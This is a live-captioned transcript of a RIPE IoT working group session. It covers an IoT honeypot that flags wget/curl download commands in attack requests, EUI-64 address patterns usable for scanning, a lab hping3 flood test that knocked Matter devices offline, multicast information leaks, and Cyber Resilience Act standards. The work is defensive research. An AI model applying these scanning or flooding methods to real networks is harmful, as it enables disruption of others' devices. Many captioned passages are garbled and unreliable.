2pm.
IoT
PETER STEINHAUSER: OK, can you hear me? Excellent. Since I always see myself on the slides, you can give me a hint when we should kick off the session. OK.
ANNA MARIA MANDALORI: Yes, we can start.
PETER STEINHAUSER: OK. Then welcome everybody to our IoT working group session here at RIPE 19, this time I am only with you remote, but I am really, really glad that my co‑chair Anna Maria is there in person, so as you can see, we also changed the Avatar, I think it's more appropriate right now.
So we have quite a full agenda today, as you can see, we have a couple of talks, very interesting topics here, also thanks to my co‑chair Anna for contacting our speakersnd arranging this, a really great job, thank you so much for that.
But before we go into the interesting part, we still have the housekeeping stuff to do.
So let's start with that. So we will have the RIPE ‑‑ also this is a typo because it's RIPE 90 minutes validation, I will fix that later. The code of conduct and of course how to participate the meeting in person and remotely.
So the RIPE 90 ‑‑ typo again ‑‑ meeting minutes have been published on the RIPE website and approved, so you can see the link here on the slides and you can easily find them if you have the intention to read them.
So OK so our code of conduct is very clear: We want everybody to feel welcome, yes, please treat others with respect. Take some care about that because we want to be an inclusive community where everybody feels accepted and appreciated.
If you are participating in person and you have any question after the talks, then please go to the mic, ask a question; before you do that, please say your name and affiliation. Remotely it's similar, you type your question into the Q&A window, and here it is also possible to get the mic if necessary. But we have our colleagues from the RIPE technical team that can help with that. Here you just see the options here, the Meetecho, that might have changed in terms of eye icons but the functionality should still be the same.
OK, and that's it from my side and Anna, I don't know if you want to take over to introduce our next speaker since I think you know him in person.
ANNA MARIA MANDALORI: Sure, so our first speaker is going to be Takayuki Sasaki from Yokohama university, they have years of experience in internet of things security, they set up a very nice IoT honeypot. They are going to present the work of these many years and hopefully it will be very use useful for the community.
PETER STEINHAUSER: Welcome from my side, you are still mooted. Please enable your mic.
TAKAYUKI SASAKI: OK, so thank you for the introduction. Today I want to talk about cyberattack observes using IoT honeypot at Yokohama National University.
ANNA MARIA MANDALARI: We can see you but we cannot hear you.
TAKAYUKI SASAKI: Yeah, OK, so let me start by explaining the motivation behind our work. So as we have seen a dramatic increase in cyberattack against IoT devices both phone and camera so... however, existing honeypot are limited in coverage ... so many honeypots...devices; as a result the honeypot cannot fully capture the IoT attacks.
So we designed a new honeypot architecture that was scalable and adaptive.
Next slide please.
PETER STEINHAUSER: I think you can control the slides by yourself. Yes.
TAKAYUKI SASAKI: OK. So here the honeypot system and X pot has two main components, the attack observation component which emulates vulnerable IoT devices, actually it captured HTTP based attacks and automatically collects malware by analysing the download commands such as... and the second is the HTTP collection component which stands nearby IP address ranges around attacking host to web UI content from IoT devices. We then use the HTML responses to emulate realistic device interfaces, by combining these two components, X‑POT can imitate IoT devices and observe our... with the honeypot in the wild. The collected observation data is then processed through the... pipeline, where each attack event is information such as CBID attack type and targeted device model.
So let me briefly explain our analysis procedure. The pipeline causes the five minute steps, the first one is the attack identification, where we extract events that clearly indicate... behaviours.
Second we have attack tagging using the pre‑defined to exploits, third step we conduct exploit classification, that do not match any existing rules. And then if it's detected, our system immediately sends a notification to the operator for further investigation. And finally, target the personal identification with the express specific advice and then we update our tagging accordingly. This step‑by‑step process allows us to continuously refine our detection capability and have an up to date IoT threat.
So let me explain the details of each step. The first one is the attack identification. In this step we extract events from that honeypot logs that can be clearly identified as attacks... basically HTTP requests containing pay loads used to download command such as wget or curl followed by a sample URL.
The next step is the attack tagging. Once the events are identified, we match the attack events against our pre pre‑defined rules. CV E ID which is the attack type...
... the attacks that to not match any existing tagging rules, we move on to the next stage which is the exploit classification.
So in this step, under the attack we... it is potentially panel exploit so to classify the attack, we announce the instructions, each HTTP... thus carrying the attack pay load, for example in this case, we focus on the net path, the HTTP which is the parameter of the HTTP and we can look at similar attack behaviours and identify exploit...
The next step is the notification of new exProperties. If a classification determines an attack does not match any known... and the system
(Sorry folks, I can't understand understand what he is saying)
Includes the key information of the attack such as attack request and the time it was observed and the detail command for the attack host such as the attacker's IP address and host name.
And.autonomous analysis by am LLM. Generation of cyber attack analysis reports using LLMs. We use the GPP5... announce the attack information and make a short report, short attack report, describing the type of attack and the targeted device and the purpose of attack and potential impact of the attack.
The port automatically... to the internet log and......
This is the autonomous analysis, including the attack time and the type of device, also the CVEID and attack purpose and impact. The final step is identification of the targeted devices. We manually identify the attack data............ we create a new tagging route so that future attacking using the same attack technique can be... automatically. And...... OK so let me show an example of the observation results.
This slide is the lifecycle of exploits that we have observed through long time monitoring.
Because it has been operating for several years, we are able to... the entire life of... it's peak and eventually to... typically...... and exploit activities. One the exploit becomes... in one area, embedded in an area, the attack is increased... over time... increases...... this helps us to understand how the attack... and also I'd introduce zero day attack detection. ...... exploitation attempt that are not yet publicly known at the time of detection... four categories. First one is the zero day the target could not be identified, zero day is suspected... in this approach we have successfully confirmed many zero day cases in the wild (? )
Let me show an example of the zero day attack. This case illustrates how our honeypot... observe the attack in the wild. In this case the affected device was a small... mounted router FXC and our honeypot detected an attack exploit, which you see the... in this device. It's a type of detection that... has not yet been discussed. The timeline is the attack was ob 29th October 2023 and immediately we report the attack to JP cert/CC and after that investigation... was published on December 6th and new CVE has been issued to ‑‑ ‑ actually CVE‑2023‑49897 has bee issued. In this case the most... did not detect the attack but also it supports the...
Our data set. Actually we are sharing that data set collected by our honeypot for research use. We have provided the data set to 200 organisations so far and this data set is available at our website.
OK let me conclude my presentation. We have developed our honeypot X‑POT that emulates diverse IoT devices using real WebUI data. And currently we are sharing data set with research institutions to advance collaborative cyber security research. That's all. Thank you.
I am happy to take questions. (APPLAUSE.).
ANNA MARIA MANDALORI: Do we have any questions?
Peter do we have any questions online? (On mute)
No questions online. OK, if there are no questions, maybe I will ask something.
So how do you envision this infrastructure to be used by the RIPE community? Do you have a way of shutting the data? How does it work for ‑ to start basically a collaboration with you and yeah, how this will be, considered also probably there will be some problem with data sharing, etc.?
TAKAYUKI SASAKI: Yes, thank you for that question. We can share our honeypot data observation to the community including the honeypot observation data also possibly the... information with the community.
ANNA MARIA MANDALORI: OK, thank you very much. We have a question.
SPEAKER: Not a question, just a comment. I'd like to congratulate you on your creative use of LLM, it was interesting how you piped the results of the listening device into the LLM to get more insight on it.
ANNA MARIA MANDALORI: Yes, thank you. OK. Thank you. Hopefully in the next meeting we'll see you in person here.
Thank you.
(APPLAUSE.)
Let's go to the other ‑‑ let's give the stage to Bart Batenburg from the University Twente and it's going to talk about IPv6 and IoT. Thank you.
BART BATENBURG: All right. I hope this mic picks my voice up. So let's see.
So welcome everybody, I am Bart
BART BATENBURG: This is my master thesis presentation actually of which I will use also to graduate next week hopefully. I did this research at the University of Twente at the design and analysis communication systems department, which you have already seen plenty of this week.
And I now work at Novoserve, which is a Dutch company that rents out environmental servers to have a EUI‑64 recap ‑‑ before I start talking about my research on it ‑‑ it's used to term the Mac address of a device into the last 64 bits of the IPv6 address, also called the interface identifier. It also, it always makes the same information identifier which is good for finding devices on your own network. But later it does have downsides. It is quite easy to reverse and gather a lot of Mac addresses, if you can gather a lot of IPv6 addresses, but of course the Mac addresses normally is not supposed to be global information, it's for layer 2. So if you have data it's also quite easy to spot because there's quite a lot of bits, it's always in the same location, up easily filter for it and this might have an impact on scanning and in the past, we have developed privacy extensions to combat any tracking that is happening because interface identifyers is always the same regardless on what IPv6 network you are on.
The motivation to work with EUI‑64 is to find out what we can learn from this method of generating IPv6 addresses and of the devices that use them. So is there any way we can use it to scan, to speed up IPv6 scanning, use the amount of entropies lowers and also use get possible information about the Mac generation method that manufactures use to even bring that entropy down even more. And then for relevant for also this working group is, can we find similar devices, mostly being IoT devices I looked at through this EUI‑64 addresses and if possible just to generate the Mac addresses if we have the patterns and search through prefixes to find similar eat or research for if you know something else about an IoT device, you could use it for botnet. I used three data sets, increasing in size every time, first was IoT lab of the university of the Twente, of course I first had to implement IPv6 on the router. Then I mainly turned the Mac addresses which the manager of the lab recorded for me into EUI‑64 addresses and scanned which ones were active and use of the lab to investigate with the device in hand what we I can find from EUI‑64 devices.
So of the IoT lab the results were that 8 out of the 27 devices in the lab made a EUI‑64 address and responded to it, but only four of them were actively using it, for communication. So there's good context that the experiment an also for the research, there are a lot more devices that make an address and listen to it than actually actively use it and so as I said before, the levels was the proof of concept. So a side quest I had on in the lab was I found the lab had this Dirigera device, to find more Mac address data I'm using Dirigera to get it and there was some Macken coded in QR on the device but I could not find what it's used for so maybe in the future someone can research and find out what it's, Ikea and... to find more data I went to the next step, the UT network, the university has a full campus with students living on‑site and residents and other staff. Of the UT network, I got the full network discovery tables; these are actively used IPv6 dresses communicating through the router, I got 19,000 entries of the last year because other data did not think relevant. We pre‑filtered that, I got the full address so I could do some scanning possibly, and I only got out of interest, so I processed them a bit, extracted the Mac address from the IPv6 address because I also I had layer 2 data available, but some of the Mac addresses were from routers which, of course, had rewritten while routing, I turned the OUI of these Mac addresses into company names with the classic IEEE data set and split into sets of all companies. So then I wanted to do some device analysis.
I selected the manufactures based on the amount of time I had and the amount of Mac addresses they had, it was easiest to pick the top ten. Out of these manufactures, I wanted to find some groups of similar Mac addresses to hopefully reveal patterns in the Mac addresses, to find out how many manufactures generate Mac addresses and possibility yeah, increase the predictability of the other Mac addresses from the same model of devices that would hopefully possibly speed up IPv6 scanning for similar devices.
So on screen are some of the groups I looked at. I mainly picked these out just in Google sheets. Sorting on both and the last half of it, I then went on to find active hosts in these groups and scan their behaviour with N mat to try confirm they are similar devices.
So there's also the UT network where that actually of the 19,000, 17,762 were actually useful, not duplicates, I found a company called AMPAK has the most shown company, which makes chips for routers and IoT devices with 228 Mac addresses. I found the data had a suggestion for a few options, so a limit on the amount of options the company used for the first two bytes of NIC, possibly indicating some models but sadly almost nothing answered two pings any more. So I could not do further research on it.
Then VMware was the second largest with 161 which were usually or mostly just large groups of sequential Macs with one of my related work papers already found this known method that people use in VMware servers to get Mac addresses for their VMs, so it was not. So in general, the largest groups of hyper advisers, some desktop manufactures and IoT chip companies at least. And note also what was interesting that sometimes the OUI was reused from old hardware, so I found a lot of Xen servers, luckily of people that I knew personally and they confirmed that they reused the Mac address base off an old server they had for their new ‑‑
In the UT network, only found hints of patterns but not the definitive proof, sadly. So I will need the clearest results are of human configuration. So I needed to find for data, that's always the solution. And one only thing I found that TP Link, I scanned a bunch of their devices, they had SSH version which was already known to be vulnerable, it was interesting.
So on to the next data set, one step higher, go to the provider of the university, the SURF network which are sitting there, so if you don't know them, SURF is Dutch national research network, they have a lot of locations and they serve about one and a half million students, lecturers and scientists, I got from that their website.
To handle the data, so I got some nice person at SURF flow data of the last two months which I believe are March and April of this year pre‑filtered out the basically only the OUI 646 dresses and the actual WSIS part for the privacy of the users, I got 4.1 million Mac addresses with 22,000 manufactures in there, I processed in pandas because I knew that. I got some basic statistics, I grabbed 20 companies because I had some more time for this data set, I picked the top 20 and the other ten I added from the UT data set. And to find groups of course with a larger data set, it's hard to do it by hand. So I processed them with DBScan, an algorithm used to find clusters and stored the groups that DBScan made for me.
I then ‑‑ so I processed other groups. The DBScan found, I generated graphs of the entropy of these groups, provide and then some of the companies that had interesting graphs with TP Link here on the screen, I spent the time to look at them, these groups manually. So again for that general results of the survey, I found out of these 4.1 million Mac addresses, 2.8 million AVM devices, with one and a half million student served, that's a large number. Sadly, I didn't the time to investigate what AVM was doing there, maybe you can tell us. And 24,000 DW net which is also a customer router manufacturing and 88,000 Sagemcom which is also again manufactures routers and customer end device.
Some interesting entries were some car companies, Airbus and Caterpillar and even a Disney imagineering device, which gladly noted down.
And so the graphs with interesting findings, the TP Link, specifically very low entropy of zero in these clusters, so I got some of these clusters into one table and I was quite easy to say that they are just interative, this is very clearly pattern plus one is quite easy. The same with HP ‑‑ the same behaviour in the clusters, so that's the simplest pattern I could find, perhaps with more data I could find other patterns, also not allowed to use AI so that's it.
Some discussion points. I guess so EUI‑64 derived addresses are very much used. I did not completely compare them with the entire data set, but therere still quite a lot of the them out in the wild. It's quite easy to finds them both from passive data and actively scanning for them by ping, if ICMP is open as it should be, also it should be possible to fingerprint and find these devices and with some algorithms and large enough data sets, you can pinpoint the vendors and the Mac generation methods and hopefully that should enables, should enable better and easier scanning.
So some hints of future work. Actively scan for these addresses, find the ones that are only listening and get an even larger data set, it would also be nice if someone actually scanned or measured the scanning improvement that is possible. We are looking at the university to finds someone to do that at the moment but if anyone feels free ‑‑ and to investigate even more devices. So I am going to skip this. And I want to thank you for listening and see if there's any questions.
(APPLAUSE.)
PETER STEINHAUSER: I have a quick question. Can you hear me?
BART BATENBURG: Reasonably.
PETER STEINHAUSER: OK, very good. Please take over, we don't have any questions online.
ANNA MARIA MANDALORI: Any questions in the room?
PETER STEINHAUSER: I think maybe Eric can enlighten us regarding the millions of AVM devices, it was quite an interesting finding.
(Inaudible)
BART BATENBURG: OK. For the online people, he says he cannot comment on it right now. So....
PETER STEINHAUSER: OK.
ANNA MARIA MANDALORI: I have a question. Do you try to reach out to TP Link, what did they say?
BART BATENBURG: I have not, so my work was part of a PhD I was working on coordinated through my... disclosure and I will definitely poke him to do that, to keep that, to do that work, yeah, but I did not personally do that, no.
PETER STEINHAUSER: It would be interesting because TP Link was recently in the press again, right, because of some back doors and stuff like that, we should maybe have a closer look at their devices.
BART BATENBURG: It was a very old drop air version and I already found, I did not do an extensive search but there was there were a lot of JVs made for it.
ANNA MARIA MANDALORI: Maybe any other questions?
In which extent do you think is in the billions of IoT devices we have currently in the world, which number, which percentage can be utterly identified as IoT device by looking at the Mac address?
BART BATENBURG: So, I have some numbers of the total size of the networks in my thesis, but I did not remember them and so I cannot give a clear answer on that right now.
ANNA MARIA MANDALORI: OK, we can discuss that later. Any other comments, questions from the room? OK, if not, let's thanks Bart again, thank you.
(APPLAUSE.)
And the next speaker is Andrew Losty from University College London. Andrew is a student of internet of things and privacy security and this is his first RIPE meeting, be nice with him. He is here thanks to the RACI programme, the same as Bart, so let's thanks again the RACI programme for giving us brilliant presenters hear with us. OK. The stage is yours.
ANDREW LOSTY: Good afternoon everybody, I'd like to give a little discussion and it's a discussion really point of the Mater protocol and what it seems to be offering, one or two areas that I have been looking at, so I have just started or I have done the first year of my PhD so I am sort of gathering information, that is one of the areas that I am most interested in.
Now. I have got a ‑‑ one second. Clearly there's some focus because there's a perceived need for greater security, greater standardisation and matter might atier to actually solve some of the issues. So there's a drive towards certification which is certainly coming in and all matter devices need to be certified as part of the process.
Now clearly when the big manufactures got together, the Apple, Google, Amazon, Samsung, when they got together, it's counter‑intuitive because they have been competing fiercely for market share and so to some extent when they got together in 2019 with Zigbee group and formed a working group then to to some extent you could see what they wanted to do was very much to provide a common interactive standard so it sounds good, it sounds good for everybody for the developers and the fact that they can develop a single solution for retailers and for users they buy a single product and take it home and it works with Apple or Amazon or Google or whichever home ecosystem they currently have.
All of that sounds great. And that was then launched in October 2022 as being a working protocol and the devices received their certification, their logo and they are on the market ready to be used.
Now the question is ‑‑ or a couple of questions I'd like to sort of point out is that clearly this has got 350 manufactures, it's gaining, it's certainly gaining momentum and so that sounds like it's a tremendous positive and egalitarian solution or platform. It might appear to be far from it in some ways because it's the big players which dictate what the protocol does and how it evolves in the future.
So to become a member, the cost is 105,000 dollars per year at the highest level and at that level, you get the decision‑making process. And at the cheaper level, it's 7,000. So to a large extent, you can see that within the matter group itself, there's a great disparity of real influence within them.
In a way it looks like it's open, the matter source code, libraries and documentation are all available on Github. And the CSA which manages and controls Matter now, they publicly publish the standards so it does appear to be all open but there's some caveats in there. The one thing about Matter is it uses standard technologies so the networking is standard, the encryption is standard, the authentication is standard so it has really built on existing solutions the usual thing that they do use a blockchain cloud‑based distributed compliance ledger and so that, the information goes once a product is passed its certification, it goes, the details are entered into the distributed compliance ledger.
What that means is that devices that are not certified cannot be added to your Matter fabric, so it's a real control mechanism. Also each Matter device has got a unique device activation certificate so that again it proves the validity of the device that it cannot be added in unless it's proven to be valid and that's via the certificate, via a certificate chain with the manufacturer acting at intermediary and the CSA acting as the root. So there's a lot of security built in and you can see on the picture that Matter just really sits up at the application layer with a little bit of work done at the transport layer to increase reliability so bulk transfers for software updates and it has a reliable mechanism. For which sits on top of UDP.
This is just to say how it works. So up to previously, all these manufactures had a different ecosystem, different technologies and different methods of working in their solutions. Matter came and in ‑‑ with one software update, Amazon added 100 million Matter devices, so that is completely unheard of in the way which we are used to looking at IoT devices in separate fragmented silos.
And then Matter sits, the other thing which was important, Matter chose to use Thread and Thread being the low bandwidth, low power mesh networking standard, but it is software compatible so that if a device supports Zigbee, it can be updated to via a software update to support Thread. So Matter wanted to get IPv6 connectivity throughout and so that's what they did, they actually ‑‑ even though the standard was formed by the Zigbee alliance, Matter wanted to put their own standard on that. You can see it's a common subset of technology that all these vendors buy into.
Matter versions that come up with four different versions and what they have done is introduce separate devices with each software version so they are looking to really control how the product expands and what I suspect here is that because each device has got to be certified, then this gives space for the certifying companies which act as independent companies to actually tool up and provide that service. If they threw the door wide open and said any device can be Matter, then certification would be a major problem. But it shows that there's been four different major software updates. And there is a crucial bit, we are going to look at Matter's software updates in a short time, whoah, I have got to move on. So just bear had mind we have got four different software updates.
Matter investigation, I did a quick, a quick investigation, Matter claims here several mechanisms have been built into the Matter definition to prevent the most common denial of service attacks. So let's just see if that's true. I tested in the lab with a range of Matter devices; first of all, just doing a reconnaissance, check the traffic, Matter runs on UDP 55 40 and uses 53 53 for service announcements. Now what it does, it cuts out most of the background, you don't see lots of different ports open, therefore the attack surface is minimized. We did port scans ‑‑ some devices had port 80, that seems to be a legacy, and some devices are dual‑capable. So that was used though to test some of the things and reconnaissance that we looked to see what was the biggest, so we are looking to knock devices off the network, send large amounts of data and rather than accepting a 64k frame and albeit fragmented, Matter device worked well in this waiver and they limited the largest packet to either 7 or 14 K, so that actually looks good at this level.
What we did then was carry out a number of just usual ‑‑ traditional call them ‑‑ denial of service attacks using IPv4 and IPv6 because Matter generally has both addresses even though the protocol is a designated IPv6. So just picked a utilities and what we saw basically was with the IPv4, it was fairly conclusive, we can knock the devices off the network so the mechanisms which are not detailed as to what they are and it limits us a great deal, we are not defending the devices against these. And what we saw was a difference. And what it looks like, it is the rate of packets being sent because the first one, Hping 3 is a raw mode attack, I am sure you know well, that can flood devices irrespective of the performance of the operating system and so hence what one set of tests failed and the other one was a successful.
In the IPv6 we were also successful so that was a piece of work. We then went back to Matter to say gave us some details now, we have got these results, we can see that we can knock devices off the network, we want to know what your defence mechanisms are to see would they work with us in some way and basically it is a closed group that signs non‑disclosure agreements and even though we approached one of the top tier designated companies, they were not in a position. They published a 990‑page specification but it doesn't cover this. So there are limits there.
Just another investigation that we did was just to have a look, so we know that Matter announces service so either the devices are uncommissioned, they are waiting to be brought into the fabric or they are commissioned which they are operational. We want to see what does the multicast do and we are looking to see if the ‑‑ if the multicast is advertising services or giving away more information than we really feel comfortable that it does.
So these are announced on IPv4 and IPv6. What we see here is that, this is just a sample, so we have been catching data and clearly we have got to capture data for a range of Matter devices in different states and we have got to compare that to non‑Matter, are they giving away too much information.
And so what this does is, this is the data within the multicast advertisement and there are many categories of data that it gives, most of them are optional but what we are seeing on a number of devices, they are giving quite a lot of information out. So they are giving the vendor ID, they are giving the product ID, with that you can go to the CSA website and look up the exact details as to what that is: Is it a sensor, is it a door lock, is it a ‑‑ you can think how many devices it could be. But in security terms, it means you can sniff the network and capture quite a lot of information as to what all these devices are.
So here we said we have got vendor ID, product I, we can got a device type, field, which it tells us that it's in this case it's a smart plug, but it could be a sensor, it could be a lock, it could be something far more sensitive and it gives us a device name. If that device name was, for instance, door lock, rear door lock, front, motion sensor hall sensor something else, it's really giving out a lot of information. So what we are doing at the moment is collecting data on a range of devices, Matter and non‑Matter, so try and correlate and to possibly push companies, they don't need to give most of this data out, they are optional fields, some don't give out any data at all and I think we are looking to address that they should provide the minimum amount of data, we are somebody who hacks a wi‑fi, gets on to a router, whether they can carry out a detailed reconnaissance because all the multicast is seen by everybody.
So what the observation there is that Matter devices expose significantly more identifying data than typical legacy IoT devices, they are saying that Matter, because it's a multi‑system, because this device has got to work still with the Amazon system, the Apple system, the Google system, it's still got to be compatible with all these. Then there is a feeling that it's got to advertise more. There isn't a common API that it can just use to bypass that and so therefore it has to do more in the multicast field. And I think that as a trade off there between greater local observability and the functionality.
So you get the fact that the device can work, can work with any of these environments but there is a definite trade off and it is to what it's announcing and what it's doing.
A third line of ‑‑ this is something that I am going to give as a little bit of a ‑‑ this is a very much work in progress. So part of the Matter 900 page specification is a very rich detailed account as to how the matter software update mechanism works.
So we know that the regulatory environment now is calling out more and more for updates that devices are seen to be working at, at the latest level that they are receiving regular updates and everything is controlled.
And so Matter does produce a really comprehensive solution to this and so it has separate components within the network that act in a different, that act to do that and it is ‑‑ so you have your ordinary devices, the device needs a software update, in the past the device would have possibly gone to its cloud host provider and looked to draw down the latest software.
Matter does things in a different way. A designated device acts as the provider. So rather than 50 devices all polling on a low throughput, low power network, one device goes out, grabs the software image and brings it down and then distributes it via a bulk transfer protocol to all the devices. That sounds perfectly logical, perfectly good.
The fact that the software is controlled within the DCL, the cloud distributed compliance ledger, mean means there's a single authoritative version as to what software version is the latest version.
So that deals with any ambiguity there.
There are problems. When Matter launched this, they said here's a very rich sophisticated mechanism; however, most manufactures don't actually support it, and what they do is they then allow the manufacturer to use custom methods, I presume because it's early in the days but that can bypass all the methods.
And there's a few concern points here that I am going to say. So we have got a number of devices in the lab, we have probably got 20, 25 devices, we are working with Northeastern University and we look at the divisions and we can see there's been different software versions, 1, 1.1, up to 1.4 with some little additions. We don't see any devices updating.
And considering that the Matter protocol has been out for three years and there's been four software versions, it's a little bit surprising on that. There's only one device which is up here which has received a software update and that one appears to be very much going from a beta so what they call a dirty release up to a recognised version.
So there is a big question, why are all the Matter updates and that's what I have been sort of looking at to some extent, there is no fixed period by which the devices need to go and poll to get a software update. That seems to be a little bit, a little bit remiss.
There's also another question which is strange. When I mentioned earlier that you have to, a matter device has to be certified to become accepted into the fabric of the matter. That certification is done with the software version, so you can look it up, say this vendor ID, this product ID will get a software update, no, will be certified and it will be certified with this software version and we are going to say most of the time that is 1.0. The company go to get the version is paying 7,000 dollars, 10,000 dollars and all the administration that goes with that. The only issue is that if they want to have the device certified for the next software version, they have to do all the same process again. And what I'm seeing in the analysis of the devices is that generally I am not seeing that. So you can go on to the ‑‑ there is a link on, for the CSA, you can look into the DCL, you can look for software updates and that seems to be one of these quiet missing sort of missing components.
So really there's quite a bit of work that I am looking to do to actually determine how the mechanism is really working. There's another couple of things is that some of the manufacturers yet don't even claim to act as a software provider. So Apple and Google, their products don't claim ‑‑ so even though they have done the software update, they are acting as a Matter device, they don't claim claim that their products will act as the OTA provider.
So this is a little bit of the checks that I have done and why I say it's a very, very sophisticated update mechanism. So all the software images are signed but they don't have to be encrypted but clearly by signing you know that they have not been changed. There's a version control that says the device cannot be downgraded in its version. So if you get a software update and it's bad, you cannot roll back to the previous version. Now that to some extent is actually one of those strange things, because if each, if the software has got to be signed, then that clearly makes the process of getting a further product, you have got a product that's version 1.1, you put version 1.2 on, it breaks, you cannot roll out but version 1.3 may not be ready and it may not have gone through the process. So I think there's a lot of areas within this update mechanism which leave concern for us as to where we are.
So we said that the devices have got to be ‑‑ so the software updates clearly only therefore certified Matter and roll back protection we have just mentioned, secure protocols, it's all good, restricted update sources so within the Matter DCL, this cloud, it specifies where devices can obtain so it doesn't store this database, doesn't store the software, but it has the links for the manufacturers to point us to where to get their software. And then the post update sort of validation is all in place, if it's a corrupted image, if it's the wrong image, if it doesn't meet the checks, then it will roll back.
And so this is really just a summary as to how the process works, and I think it is a very thorough mechanism but I am ‑‑ but we are not seeing it in place yet.
So what I would like ‑‑ and because this area in Matter is clearly ‑‑ I think it's going to be very significant in terms of there's a lot of driving forces towards it, in terms of who the backers are, what their financial interests are, that they save a great deal of money and don't face the dreaded thing from years ago of one technology losing out against the other because they have all bet on the same technology. So I think it needs quite a bit of scrutiny and albeit as I have said I think there's a lot of security mechanisms built in on standards which are tremendously good and it might leave us looking at other aspects to actually determine how safe and secure these devices are. But I think that I am looking to develop interaction in terms of Matter work and I'd very much welcome if there's anybody here afterwards who would like to discuss this to actually discuss further. And I think that's the work so far that I have been doing on Matter. And that's where I am, I think.
ANNA MARIA MANDALORI: Thank you.
(APPLAUSE.) Any questions on this in the room? Do we have any questions online?
PETER STEINHAUSER: No, we don't have any questions online.
SPEAKER: Hi, speaking for myself, I have a lot of questions because I am not really into IoT and frameworks as protocols that are used there. One remark that I had is it's quite funny that for a standard framework that uses blockchain security doesn't really come as their first point, quite a funny thing. And another thing, where are you really going with this research an all the questions that you have? Since you already got an answer from Matter and the people that are involved like, yeah, sure, get our documentation and we are not doing anything with that any more.
ANDREW LOSTY: Well, just to go back to the block chain, the blockchain is just saying that it is distributed, immutable source of information. And clearly we are saying that it does two things: It verifies that the device is valid, that it's got a certificate and the certificate matters, which is unlike most IoT devices, you don't know whether they are valid, they haven't been authenticated on the network, they have just joined the environment so until that, until that process is done, they are a big step up.
Now, the fact that came back and said we are not giving you any information, it's not Matter, one of the leading Matter members came back with that does, I still think there's a lot of scrutiny that the protocol can have, this hasn't been ‑‑ this has been part of my work during the year and I think there's still a lot to be done and the problem is that because there's so much big names, Apple, Google, Amazon, it almost makes us think should we question the security, has it all been done, is it all safe. And I think that there's a lot of reason still to do that.
So building up that database of the advertisements may be a pointer that we go to some manufacturers and say, you are giving out far too much information, restrict it so that might be it. And in the Matter updates, we are having a problem in the fact that we are not seeing devices updating, but that is a valid question in itself. Why haven't we seen the updates? And we see what they were three years ago and what they are now and we are not seeing those updates occurring.
SPEAKER: Thank you.
NIALL O'REILLY: Speaking in this case as a former PhD student. It is nice that the big companies are so unforthcoming in data that you get to do some detective work and write up a nice thesis about it, but it's really disappointing that they don't understand better what transparency is about and that the only way to be sure of the security of their systems is for them to be more forthcoming.
But you win from it. And thanks for the presentation.
ANDREW LOSTY: OK, thank you very much.
ANNA MARIA MANDALORI: Thank you very much for your comments. Other questions?
PETER STEINHAUSER: I have a quick question. I was curious regarding the updates, are you aware of any activity from the regulators who enforce regular updates? Let's say, if there's unknown CVEs or things like that, I mean usually this is something where I have an interest in, right?
ANDREW LOSTY: Well I think that, now that is actually one of the driving forces because clearly there is the requirement to provide updates and not all ‑‑ so we saw the four major software version updates but there's also been a minor updates to provide security fixes. Now, unless you know what the security fixes are and then should they be applicable to all devices or just a subset, then those are the really valid questions.
It's proving to be quite difficult because of the lack of updates to actually capture that information, but we are growing our lab, the number of devices, our means to try and extract that information is getting better, so clearly we have got all those ecosystems and you can see as to whether any of them have a trigger mechanism. So if we were in another sort of environment, if we were in ‑‑ because devices act as possibly dual mode so it's Matter or it's non‑Matter. What we see is the Matter offers a subset of the functionality often as the non‑Matter which is a richer API and it means with those non‑Matter, you often see the software updates, you click and trigger them and so therefore you have got a direct means of determining when the software updates and that you capture it. In the Matter cases, most of those ‑‑ so you get a Google system, you put it out, you see the devices online but there's no button to initiate an update. And that is what, that thing is, that lacks of functionality and clarity tied in to the requirement for the update mechanism is seen to be working is certainly a big gap so I think we are aware of it.
Sort of we put together the connected home IP what can I call it, development tools and you can actually probe the devices a lot better with those but it's still not triggering the updates in the way which we want. So what we'd like to be able to do is trigger the updates, even if they come back to us and say it is already at that software version but the important ‑‑ so we said every device has got to be authenticated, we also say every piece of communication has got to be encrypted and, therefore, there's a big hurdle to overcome in terms of seeing what the requests are.
PETER STEINHAUSER: Thank you so much. Thank you Andrew.
ANNA MARIA MANDALORI: Thank you.
(APPLAUSE.)
PETER STEINHAUSER: So I think your next speaker Anna if I am not mistaken is you, right:
ANNA MARIA MANDALORI: Yeah. OK. So this is for the ones that weren't here in the last RIPE meeting, it's a continuation of the discussion that we had about the EU Cyber Resilience Act. I invited the TC cyber EU SR chair and she should have been presented today but she needed to cancel last minute, so I am taking basically her place.
So, for the ones that weren't here last time, there is a big gap nowadays between regulations and what is happening in the internet of things world.
For the ones that are not familiar with it, from 2027, we will have in Europe a new regulation called the EU Cyber Resilience Act, and each connected device will need to be certified, 90% of the devices will need to be self assessed so so do a declaration what you are doing in terms of security, 10% of the devices that are sold in Europe will need to have a third party certification.
Now, the problem is that for big players, it's easy to get assessments, it's easy to get let's say third party certification because this things are also quite expensive so they can afford it.
But what happens to small IoT manufacturer or also small medium enterprises, they need to be compliant with these regulations.
At the moment how it works, the European Union publish the regulations itself. And then gave to choose... this body, ETSI and SANSANanek the homework to do basically the standard, to build the standards from the regulations. Its see is taking care of vertical standards, in particular smart home, security devices, there are vertical standards, operating system, etc and the Cen‑Cenelec is taking care of horizontal standard, general security requirements.
The main problem is that I see and I wanted to discuss it and I discussed it last time in the last RIPE meeting is that in this regulations and in this standards, natural behaviour is not really taken into consideration.
So I am like part of the working group that is working on this, in particular on the vertical on IoT of course and this is more than a talk a call for help. The status and the timeline for the standard is at the moment the draft will be published, we have 19 drafts for vertical standard for IoT for the CRA and they are being published for public consultation by the end of this month.
This means that everyone of you can basically go, download the draft of the standard and comment on it. If you are not able to do it, because probably your organisation is not part of ETSI our not a member of ETSI see, please write to me and we can discuss what's happening. Why this is important is because at the moment in the standard, there are a lot of requirements but for manufacturers it's actually going to be very difficult to be compliant and to do the assessment, how sort of the standards if all of us basically participate in the standard, how to understand if a device is compliant, what I'm trying to did, I am trying to take these regulations so for the ones with my work, we have advanced task force in University College London, we have hundreds of IoT thingse, trying to take the regulations and concert in something in metrics that can be used ‑‑can be measured by just looking at the natural traffic and produce a self‑assessment for the internet of things devices. At the moment because the standard is not defined yet, I am using the one that was existing until now, which is the ETSI EN 303 645.
The last time we discussed for some of the requirements, it's very complicated to come up with objective an absolute metrics, for measuring if the devices are compliant with that requirement.
Today I want to give you some examples of these requirements and how we can basically measure them and if you agree with that and you think that this is useful, I would like to have your opinion to understand if it's worth it to work also on other requirements, not only the one I'm studying or if you have in mind some other requirements that can be placed in the standard, basically this will be very useful.
